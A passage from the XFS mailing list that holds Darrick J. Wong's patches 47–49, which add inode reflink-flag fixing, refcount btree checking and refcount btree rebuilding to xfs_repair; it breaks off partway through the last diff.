[PATCH 47/51] xfs_repair: fix inode reflink flags From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 47/51] xfs_repair: fix inode reflink flags To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:10:20 -0700 Message-ID: <20151007051020.1504.64750.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194627 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines While we're computing reference counts, record which inodes actually share blocks with other files and fix the flags as necessary. Signed-off-by: Darrick J. Wong --- repair/phase4.c | 20 ++++++++ repair/rmap.c | 138 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ repair/rmap.h | 1 3 files changed, 159 insertions(+) diff --git a/repair/phase4.c b/repair/phase4.c index 0be8579..caa4221 100644 --- a/repair/phase4.c +++ b/repair/phase4.c @@ -198,6 +198,21 @@ _("%s while computing reference count records.\n"), } static void +process_inode_reflink_flags( + struct work_queue *wq, + xfs_agnumber_t agno, + void *arg) +{ + int error; + + error = fix_inode_reflink_flags(wq->mp, agno); + if (error) + do_error( +_("%s while fixing inode reflink flags.\n"), + strerror(-error)); +} + +static void process_rmap_data( struct xfs_mount *mp) { @@ -219,6 +234,11 @@ process_rmap_data( for (i = 0; i < mp->m_sb.sb_agcount; i++) queue_work(&wq, compute_ag_refcounts, i, NULL); destroy_work_queue(&wq); + + create_work_queue(&wq, mp, libxfs_nproc()); + for (i = 0; i < mp->m_sb.sb_agcount; i++) + queue_work(&wq, process_inode_reflink_flags, i, NULL); + destroy_work_queue(&wq); } void diff --git a/repair/rmap.c b/repair/rmap.c index 2e79577..b582b51 100644 --- a/repair/rmap.c +++ b/repair/rmap.c @@ -630,6 +630,39 @@ dump_rmap( */ /* + * Mark all inodes in the reverse-mapping observation stack as requiring the + * reflink inode flag, if the stack depth is greater than 1. + */ +static void +mark_inode_rl( + struct xfs_mount *mp, + struct xfs_bag *rmaps) +{ + xfs_agnumber_t iagno; + struct xfs_rmap_irec *rmap; + struct ino_tree_node *irec; + int off; + size_t idx; + xfs_agino_t ino; + + if (bag_count(rmaps) < 2) + return; + + /* Reflink flag accounting */ + foreach_bag_ptr(rmaps, idx, rmap) { + ASSERT(!XFS_RMAP_NON_INODE_OWNER(rmap->rm_owner)); + iagno = XFS_INO_TO_AGNO(mp, rmap->rm_owner); + ino = XFS_INO_TO_AGINO(mp, rmap->rm_owner); + pthread_mutex_lock(&ag_locks[iagno].lock); + irec = find_inode_rec(mp, iagno, ino); + off = get_inode_offset(mp, rmap->rm_owner, irec); + /* lock here because we might go outside this ag */ + set_inode_is_rl(irec, off); + pthread_mutex_unlock(&ag_locks[iagno].lock); + } +} + +/* * Emit a refcount object for refcntbt reconstruction during phase 5. */ #define REFCOUNT_CLAMP(nr) ((nr) > MAXREFCOUNT ? MAXREFCOUNT : (nr)) @@ -714,6 +747,7 @@ compute_refcounts( if (error) goto err; } + mark_inode_rl(mp, stack_top); /* Set nbno to the bno of the next refcount change */ if (n < slab_count(rmaps)) @@ -750,6 +784,7 @@ compute_refcounts( if (error) goto err; } + mark_inode_rl(mp, stack_top); /* Emit refcount if necessary */ ASSERT(nbno > cbno); @@ -993,6 +1028,109 @@ record_inode_reflink_flag( (unsigned long long)lino, (unsigned long long)irec->ino_was_rl); } +/* + * Fix an inode's reflink flag. + */ +static int +fix_inode_reflink_flag( + struct xfs_mount *mp, + xfs_agnumber_t agno, + xfs_agino_t agino, + bool set) +{ + struct xfs_dinode *dino; + struct xfs_buf *buf; + + buf = get_agino_buf(mp, agno, agino, &dino); + if (!buf) + return 1; + ASSERT(XFS_AGINO_TO_INO(mp, agno, agino) == be64_to_cpu(dino->di_ino)); + + if (set) + do_warn( +_("setting reflink flag on inode %"PRIu64"\n"), + XFS_AGINO_TO_INO(mp, agno, agino)); + else if (!no_modify) /* && !set */ + do_warn( +_("clearing reflink flag on inode %"PRIu64"\n"), + XFS_AGINO_TO_INO(mp, agno, agino)); + if (no_modify) { + libxfs_putbuf(buf); + return 0; + } + if (set) + dino->di_flags2 |= cpu_to_be64(XFS_DIFLAG2_REFLINK); + else + dino->di_flags2 &= cpu_to_be64(~XFS_DIFLAG2_REFLINK); + libxfs_dinode_calc_crc(mp, dino); + libxfs_writebuf(buf, 0); + + return 0; +} + +/** + * fix_inode_reflink_flags() -- Fix discrepancies between the state of the + * inode reflink flag and our observations as to + * whether or not the inode really needs it. + * @mp: XFS mountpoint. + * @agno: AG number. + */ +int +fix_inode_reflink_flags( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + struct ino_tree_node *irec; + int bit; + __uint64_t was; + __uint64_t is; + __uint64_t diff; + __uint64_t mask; + int error = 0; + xfs_agino_t agino; + + /* + * Update the reflink flag for any inode where there's a discrepancy + * between the inode flag and whether or not we found any reflinked + * extents. + */ + for (irec = findfirst_inode_rec(agno); + irec != NULL; + irec = next_ino_rec(irec)) { + ASSERT((irec->ino_was_rl & irec->ir_free) == 0); + ASSERT((irec->ino_is_rl & irec->ir_free) == 0); + was = irec->ino_was_rl; + is = irec->ino_is_rl; + if (was == is) + continue; + diff = was ^ is; + dbg_printf("mismatch ino=%llu was=0x%lx is=0x%lx dif=0x%lx\n", + (unsigned long long)XFS_AGINO_TO_INO(mp, agno, + irec->ino_startnum), + was, is, diff); + + for (bit = 0, mask = 1; bit < 64; bit++, mask <<= 1) { + agino = bit + irec->ino_startnum; + if (!(diff & mask)) + continue; + else if (was & mask) + error = fix_inode_reflink_flag(mp, agno, agino, + false); + else if (is & mask) + error = fix_inode_reflink_flag(mp, agno, agino, + true); + else + ASSERT(0); + if (error) + do_error( +_("Unable to fix reflink flag on inode %"PRIu64".\n"), + XFS_AGINO_TO_INO(mp, agno, agino)); + } + } + + return error; +} + /** * fix_freelist() - Regenerate the AGFL, so that we don't run out of it while * rebuilding the rmapbt. diff --git a/repair/rmap.h b/repair/rmap.h index b404c59..d0bcde1 100644 --- a/repair/rmap.h +++ b/repair/rmap.h @@ -43,6 +43,7 @@ extern int compute_refcounts(struct xfs_mount *, xfs_agnumber_t); extern void record_inode_reflink_flag(struct xfs_mount *, struct xfs_dinode *, xfs_agnumber_t, xfs_agino_t, xfs_ino_t); +extern int fix_inode_reflink_flags(struct xfs_mount *, xfs_agnumber_t); extern void fix_freelist(struct xfs_mount *, xfs_agnumber_t, bool); extern void rmap_store_agflcount(struct xfs_mount *, xfs_agnumber_t, int); From darrick.wong@oracle.com Wed Oct 7 00:10:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 33B8D29EFE for ; Wed, 7 Oct 2015 00:10:36 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 958D6AC005 for ; Tue, 6 Oct 2015 22:10:35 -0700 (PDT) X-ASG-Debug-ID: 1444194633-04cb6c57860dad0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id cj1QzHjumqbOvAGg (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:10:33 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975ASMB022636 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:10:28 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975ASaN004027 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:10:28 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t975ARUa008177; Wed, 7 Oct 2015 05:10:27 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:10:27 -0700 Subject: [PATCH 48/51] xfs_repair: check the refcount btree against our observed reference counts when -n From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 48/51] xfs_repair: check the refcount btree against our observed reference counts when -n To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:10:26 -0700 Message-ID: <20151007051026.1504.45655.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194633 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Check the observed reference counts against whatever's in the refcount btree for discrepancies. Signed-off-by: Darrick J. Wong --- repair/phase4.c | 20 ++++++++ repair/rmap.c | 135 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ repair/rmap.h | 4 ++ repair/scan.c | 2 + 4 files changed, 161 insertions(+) diff --git a/repair/phase4.c b/repair/phase4.c index caa4221..dd03ca4 100644 --- a/repair/phase4.c +++ b/repair/phase4.c @@ -213,6 +213,21 @@ _("%s while fixing inode reflink flags.\n"), } static void +check_refcount_btrees( + work_queue_t *wq, + xfs_agnumber_t agno, + void *arg) +{ + int error; + + error = check_refcounts(wq->mp, agno); + if (error) + do_error( +_("%s while checking reference counts"), + strerror(-error)); +} + +static void process_rmap_data( struct xfs_mount *mp) { @@ -239,6 +254,11 @@ process_rmap_data( for (i = 0; i < mp->m_sb.sb_agcount; i++) queue_work(&wq, process_inode_reflink_flags, i, NULL); destroy_work_queue(&wq); + + create_work_queue(&wq, mp, libxfs_nproc()); + for (i = 0; i < mp->m_sb.sb_agcount; i++) + queue_work(&wq, check_refcount_btrees, i, NULL); + destroy_work_queue(&wq); } void diff --git a/repair/rmap.c b/repair/rmap.c index b582b51..9103a10 100644 --- a/repair/rmap.c +++ b/repair/rmap.c @@ -45,6 +45,7 @@ struct xfs_ag_rmap { static struct xfs_ag_rmap *ag_rmaps; static bool rmapbt_suspect; +static bool refcbt_suspect; /* * Compare rmap observations for array sorting. @@ -1132,6 +1133,140 @@ _("Unable to fix reflink flag on inode %"PRIu64".\n"), } /** + * refcount_record_count() -- Return the number of refcount objects for an AG. + * + * @mp: XFS mount object + * @agno: AG number + */ +size_t +refcount_record_count( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + return slab_count(ag_rmaps[agno].ar_refcount_items); +} + +/** + * init_refcount_cursor() -- Return a slab cursor that will return refcount + * objects in order. + * @agno: AG number. + * @cur: The new cursor. + */ +int +init_refcount_cursor( + xfs_agnumber_t agno, + struct xfs_slab_cursor **cur) +{ + return init_slab_cursor(ag_rmaps[agno].ar_refcount_items, NULL, cur); +} + +/** + * refcount_avoid_check() -- Disable the refcount btree check. + */ +void +refcount_avoid_check(void) +{ + refcbt_suspect = true; +} + +/** + * check_refcounts() -- Compare the observed reference counts against + * what's in the ag btree. + * @mp: XFS mount object + * @agno: AG number + */ +int +check_refcounts( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + struct xfs_slab_cursor *rl_cur; + struct xfs_btree_cur *bt_cur = NULL; + int error; + int have; + int i; + struct xfs_buf *agbp = NULL; + struct xfs_refcount_irec *rl_rec; + struct xfs_refcount_irec tmp; + struct xfs_perag *pag; /* per allocation group data */ + + if (!xfs_sb_version_hasreflink(&mp->m_sb)) + return 0; + if (refcbt_suspect) { + if (no_modify && agno == 0) + do_warn(_("would rebuild corrupt refcount btrees.\n")); + return 0; + } + + /* Create cursors to refcount structures */ + error = init_refcount_cursor(agno, &rl_cur); + if (error) + return error; + + error = xfs_alloc_read_agf(mp, NULL, agno, 0, &agbp); + if (error) + goto err; + + /* Leave the per-ag data "uninitialized" since we rewrite it later */ + pag = xfs_perag_get(mp, agno); + pag->pagf_init = 0; + xfs_perag_put(pag); + + bt_cur = xfs_refcountbt_init_cursor(mp, NULL, agbp, agno, NULL); + if (!bt_cur) { + error = -ENOMEM; + goto err; + } + + rl_rec = pop_slab_cursor(rl_cur); + while (rl_rec) { + /* Look for a refcount record in the btree */ + error = xfs_refcountbt_lookup_le(bt_cur, + rl_rec->rc_startblock, &have); + if (error) + goto err; + if (!have) { + do_warn( +_("Missing reference count record for (%u/%u) len %u count %u\n"), + agno, rl_rec->rc_startblock, + rl_rec->rc_blockcount, rl_rec->rc_refcount); + goto next_loop; + } + + error = xfs_refcountbt_get_rec(bt_cur, &tmp, &i); + if (error) + goto err; + if (!i) { + do_warn( +_("Missing reference count record for (%u/%u) len %u count %u\n"), + agno, rl_rec->rc_startblock, + rl_rec->rc_blockcount, rl_rec->rc_refcount); + goto next_loop; + } + + /* Compare each refcount observation against the btree's */ + if (tmp.rc_startblock != rl_rec->rc_startblock || + tmp.rc_blockcount < rl_rec->rc_blockcount || + tmp.rc_refcount < rl_rec->rc_refcount) + do_warn( +_("Incorrect reference count: saw (%u/%u) len %u nlinks %u; should be (%u/%u) len %u nlinks %u\n"), + agno, tmp.rc_startblock, tmp.rc_blockcount, + tmp.rc_refcount, agno, rl_rec->rc_startblock, + rl_rec->rc_blockcount, rl_rec->rc_refcount); +next_loop: + rl_rec = pop_slab_cursor(rl_cur); + } + +err: + if (bt_cur) + xfs_btree_del_cursor(bt_cur, XFS_BTREE_NOERROR); + if (agbp) + libxfs_putbuf(agbp); + free_slab_cursor(&rl_cur); + return 0; +} + +/** * fix_freelist() - Regenerate the AGFL, so that we don't run out of it while * rebuilding the rmapbt. * @mp: XFS mount object diff --git a/repair/rmap.h b/repair/rmap.h index d0bcde1..df7d489 100644 --- a/repair/rmap.h +++ b/repair/rmap.h @@ -40,6 +40,10 @@ extern void rmap_avoid_check(void); extern int check_rmaps(struct xfs_mount *, xfs_agnumber_t); extern int compute_refcounts(struct xfs_mount *, xfs_agnumber_t); +extern size_t refcount_record_count(struct xfs_mount *, xfs_agnumber_t); +extern int init_refcount_cursor(xfs_agnumber_t, struct xfs_slab_cursor **); +extern void refcount_avoid_check(void); +extern int check_refcounts(struct xfs_mount *, xfs_agnumber_t); extern void record_inode_reflink_flag(struct xfs_mount *, struct xfs_dinode *, xfs_agnumber_t, xfs_agino_t, xfs_ino_t); diff --git a/repair/scan.c b/repair/scan.c index 54b9b68..3e8633c 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -1257,6 +1257,8 @@ _("%s btree block claimed (state %d), agno %d, bno %d, suspect %d\n"), } } out: + if (suspect) + refcount_avoid_check(); return; } From darrick.wong@oracle.com Wed Oct 7 00:10:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 662EF29F01 for ; Wed, 7 Oct 2015 00:10:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CC8E2AC006 for ; Tue, 6 Oct 2015 22:10:38 -0700 (PDT) X-ASG-Debug-ID: 1444194635-04cbb03f150db40001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id RG6lzNEo1h6nxcs1 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:10:36 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975AZ2x018467 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:10:35 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975AYfC004281 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:10:35 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975AYGd026002; Wed, 7 Oct 2015 05:10:34 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:10:34 -0700 Subject: [PATCH 49/51] xfs_repair: rebuild the refcount btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 49/51] xfs_repair: rebuild the refcount btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:10:32 -0700 Message-ID: <20151007051032.1504.56113.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194635 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Rebuild the refcount btree with the reference count data we assembled during phase 4. Signed-off-by: Darrick J. Wong --- repair/phase5.c | 309 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 307 insertions(+), 2 deletions(-) diff --git a/repair/phase5.c b/repair/phase5.c index 734291a..8a4ec43 100644 --- a/repair/phase5.c +++ b/repair/phase5.c @@ -1624,6 +1624,290 @@ _("Insufficient memory to construct reverse-map cursor.")); free_slab_cursor(&rmap_cur); } +/* rebuild the refcount tree */ + +#define XR_REFCOUNTBT_BLOCK_MAXRECS(mp, level) \ + ((mp)->m_refc_mxr[(level) != 0]) + +/* + * we don't have to worry here about how chewing up free extents + * may perturb things because reflink tree building happens before + * freespace tree building. + */ +static void +init_refc_cursor(xfs_mount_t *mp, xfs_agnumber_t agno, bt_status_t *btree_curs) +{ + size_t num_recs; + int level; + bt_stat_level_t *lptr; + bt_stat_level_t *p_lptr; + xfs_extlen_t blocks_allocated; + + if (!xfs_sb_version_hasreflink(&mp->m_sb)) { + memset(btree_curs, 0, sizeof(bt_status_t)); + return; + } + + lptr = &btree_curs->level[0]; + btree_curs->init = 1; + btree_curs->owner = XFS_RMAP_OWN_REFC; + + /* + * build up statistics + */ + num_recs = refcount_record_count(mp, agno); + if (num_recs == 0) { + /* + * easy corner-case -- no refcount records + */ + lptr->num_blocks = 1; + lptr->modulo = 0; + lptr->num_recs_pb = 0; + lptr->num_recs_tot = 0; + + btree_curs->num_levels = 1; + btree_curs->num_tot_blocks = btree_curs->num_free_blocks = 1; + + setup_cursor(mp, agno, btree_curs); + + return; + } + + blocks_allocated = lptr->num_blocks = howmany(num_recs, + XR_REFCOUNTBT_BLOCK_MAXRECS(mp, 0)); + + lptr->modulo = num_recs % lptr->num_blocks; + lptr->num_recs_pb = num_recs / lptr->num_blocks; + lptr->num_recs_tot = num_recs; + level = 1; + + if (lptr->num_blocks > 1) { + for (; btree_curs->level[level-1].num_blocks > 1 + && level < XFS_BTREE_MAXLEVELS; + level++) { + lptr = &btree_curs->level[level]; + p_lptr = &btree_curs->level[level - 1]; + lptr->num_blocks = howmany(p_lptr->num_blocks, + XR_REFCOUNTBT_BLOCK_MAXRECS(mp, level)); + lptr->modulo = p_lptr->num_blocks % lptr->num_blocks; + lptr->num_recs_pb = p_lptr->num_blocks + / lptr->num_blocks; + lptr->num_recs_tot = p_lptr->num_blocks; + + blocks_allocated += lptr->num_blocks; + } + } + ASSERT(lptr->num_blocks == 1); + btree_curs->num_levels = level; + + btree_curs->num_tot_blocks = btree_curs->num_free_blocks + = blocks_allocated; + + setup_cursor(mp, agno, btree_curs); +} + +static void +prop_refc_cursor(xfs_mount_t *mp, xfs_agnumber_t agno, bt_status_t *btree_curs, + xfs_agblock_t startbno, int level) +{ + struct xfs_btree_block *bt_hdr; + struct xfs_refcount_key *bt_key; + xfs_refcount_ptr_t *bt_ptr; + xfs_agblock_t agbno; + bt_stat_level_t *lptr; + + level++; + + if (level >= btree_curs->num_levels) + return; + + lptr = &btree_curs->level[level]; + bt_hdr = XFS_BUF_TO_BLOCK(lptr->buf_p); + + if (be16_to_cpu(bt_hdr->bb_numrecs) == 0) { + /* + * this only happens once to initialize the + * first path up the left side of the tree + * where the agbno's are already set up + */ + prop_refc_cursor(mp, agno, btree_curs, startbno, level); + } + + if (be16_to_cpu(bt_hdr->bb_numrecs) == + lptr->num_recs_pb + (lptr->modulo > 0)) { + /* + * write out current prev block, grab us a new block, + * and set the rightsib pointer of current block + */ +#ifdef XR_BLD_INO_TRACE + fprintf(stderr, " ino prop agbno %d ", lptr->prev_agbno); +#endif + if (lptr->prev_agbno != NULLAGBLOCK) { + ASSERT(lptr->prev_buf_p != NULL); + libxfs_writebuf(lptr->prev_buf_p, 0); + } + lptr->prev_agbno = lptr->agbno; + lptr->prev_buf_p = lptr->buf_p; + agbno = get_next_blockaddr(agno, level, btree_curs); + + bt_hdr->bb_u.s.bb_rightsib = cpu_to_be32(agbno); + + lptr->buf_p = libxfs_getbuf(mp->m_dev, + XFS_AGB_TO_DADDR(mp, agno, agbno), + XFS_FSB_TO_BB(mp, 1)); + lptr->agbno = agbno; + + if (lptr->modulo) + lptr->modulo--; + + /* + * initialize block header + */ + lptr->buf_p->b_ops = &xfs_refcountbt_buf_ops; + bt_hdr = XFS_BUF_TO_BLOCK(lptr->buf_p); + memset(bt_hdr, 0, mp->m_sb.sb_blocksize); + xfs_btree_init_block(mp, lptr->buf_p, XFS_REFC_CRC_MAGIC, + level, 0, agno, + XFS_BTREE_CRC_BLOCKS); + + bt_hdr->bb_u.s.bb_leftsib = cpu_to_be32(lptr->prev_agbno); + + /* + * propagate extent record for first extent in new block up + */ + prop_refc_cursor(mp, agno, btree_curs, startbno, level); + } + /* + * add inode info to current block + */ + be16_add_cpu(&bt_hdr->bb_numrecs, 1); + + bt_key = XFS_REFCOUNT_KEY_ADDR(bt_hdr, + be16_to_cpu(bt_hdr->bb_numrecs)); + bt_ptr = XFS_REFCOUNT_PTR_ADDR(bt_hdr, + be16_to_cpu(bt_hdr->bb_numrecs), + mp->m_refc_mxr[1]); + + bt_key->rc_startblock = cpu_to_be32(startbno); + *bt_ptr = cpu_to_be32(btree_curs->level[level-1].agbno); +} + +/* + * rebuilds a refcount btree given a cursor. + */ +static void +build_refcount_tree(xfs_mount_t *mp, xfs_agnumber_t agno, bt_status_t *btree_curs) +{ + xfs_agnumber_t i; + xfs_agblock_t j; + xfs_agblock_t agbno; + struct xfs_btree_block *bt_hdr; + struct xfs_refcount_irec *refc_rec; + struct xfs_slab_cursor *refc_cur; + struct xfs_refcount_rec *bt_rec; + struct bt_stat_level *lptr; + int level = btree_curs->num_levels; + int error; + + for (i = 0; i < level; i++) { + lptr = &btree_curs->level[i]; + + agbno = get_next_blockaddr(agno, i, btree_curs); + lptr->buf_p = libxfs_getbuf(mp->m_dev, + XFS_AGB_TO_DADDR(mp, agno, agbno), + XFS_FSB_TO_BB(mp, 1)); + + if (i == btree_curs->num_levels - 1) + btree_curs->root = agbno; + + lptr->agbno = agbno; + lptr->prev_agbno = NULLAGBLOCK; + lptr->prev_buf_p = NULL; + /* + * initialize block header + */ + + lptr->buf_p->b_ops = &xfs_refcountbt_buf_ops; + bt_hdr = XFS_BUF_TO_BLOCK(lptr->buf_p); + memset(bt_hdr, 0, mp->m_sb.sb_blocksize); + xfs_btree_init_block(mp, lptr->buf_p, XFS_REFC_CRC_MAGIC, + i, 0, agno, + XFS_BTREE_CRC_BLOCKS); + } + + /* + * run along leaf, setting up records. as we have to switch + * blocks, call the prop_refc_cursor routine to set up the new + * pointers for the parent. that can recurse up to the root + * if required. set the sibling pointers for leaf level here. + */ + error = init_refcount_cursor(agno, &refc_cur); + if (error) + do_error( +_("Insufficient memory to construct refcount cursor.")); + refc_rec = pop_slab_cursor(refc_cur); + lptr = &btree_curs->level[0]; + + for (i = 0; i < lptr->num_blocks; i++) { + /* + * block initialization, lay in block header + */ + lptr->buf_p->b_ops = &xfs_refcountbt_buf_ops; + bt_hdr = XFS_BUF_TO_BLOCK(lptr->buf_p); + memset(bt_hdr, 0, mp->m_sb.sb_blocksize); + xfs_btree_init_block(mp, lptr->buf_p, XFS_REFC_CRC_MAGIC, + 0, 0, agno, + XFS_BTREE_CRC_BLOCKS); + + bt_hdr->bb_u.s.bb_leftsib = cpu_to_be32(lptr->prev_agbno); + bt_hdr->bb_numrecs = cpu_to_be16(lptr->num_recs_pb + + (lptr->modulo > 0)); + + if (lptr->modulo > 0) + lptr->modulo--; + + if (lptr->num_recs_pb > 0) + prop_refc_cursor(mp, agno, btree_curs, + refc_rec->rc_startblock, 0); + + bt_rec = (struct xfs_refcount_rec *) + ((char *)bt_hdr + XFS_REFCOUNT_BLOCK_LEN); + for (j = 0; j < be16_to_cpu(bt_hdr->bb_numrecs); j++) { + ASSERT(refc_rec != NULL); + bt_rec[j].rc_startblock = + cpu_to_be32(refc_rec->rc_startblock); + bt_rec[j].rc_blockcount = + cpu_to_be32(refc_rec->rc_blockcount); + bt_rec[j].rc_refcount = cpu_to_be32(refc_rec->rc_refcount); + + refc_rec = pop_slab_cursor(refc_cur); + } + + if (refc_rec != NULL) { + /* + * get next leaf level block + */ + if (lptr->prev_buf_p != NULL) { +#ifdef XR_BLD_RL_TRACE + fprintf(stderr, "writing refcntbt agbno %u\n", + lptr->prev_agbno); +#endif + ASSERT(lptr->prev_agbno != NULLAGBLOCK); + libxfs_writebuf(lptr->prev_buf_p, 0); + } + lptr->prev_buf_p = lptr->buf_p; + lptr->prev_agbno = lptr->agbno; + lptr->agbno = get_next_blockaddr(agno, 0, btree_curs); + bt_hdr->bb_u.s.bb_rightsib = cpu_to_be32(lptr->agbno); + + lptr->buf_p = libxfs_getbuf(mp->m_dev, + XFS_AGB_TO_DADDR(mp, agno, lptr->agbno), + XFS_FSB_TO_BB(mp, 1)); + } + } + free_slab_cursor(&refc_cur); +} + /* * build both the agf and the agfl for an agno given both * btree cursors. @@ -1637,7 +1921,8 @@ build_agf_agfl(xfs_mount_t *mp, bt_status_t *bcnt_bt, xfs_extlen_t freeblks, /* # free blocks in tree */ int lostblocks, /* # blocks that will be lost */ - bt_status_t *rmap_bt) + bt_status_t 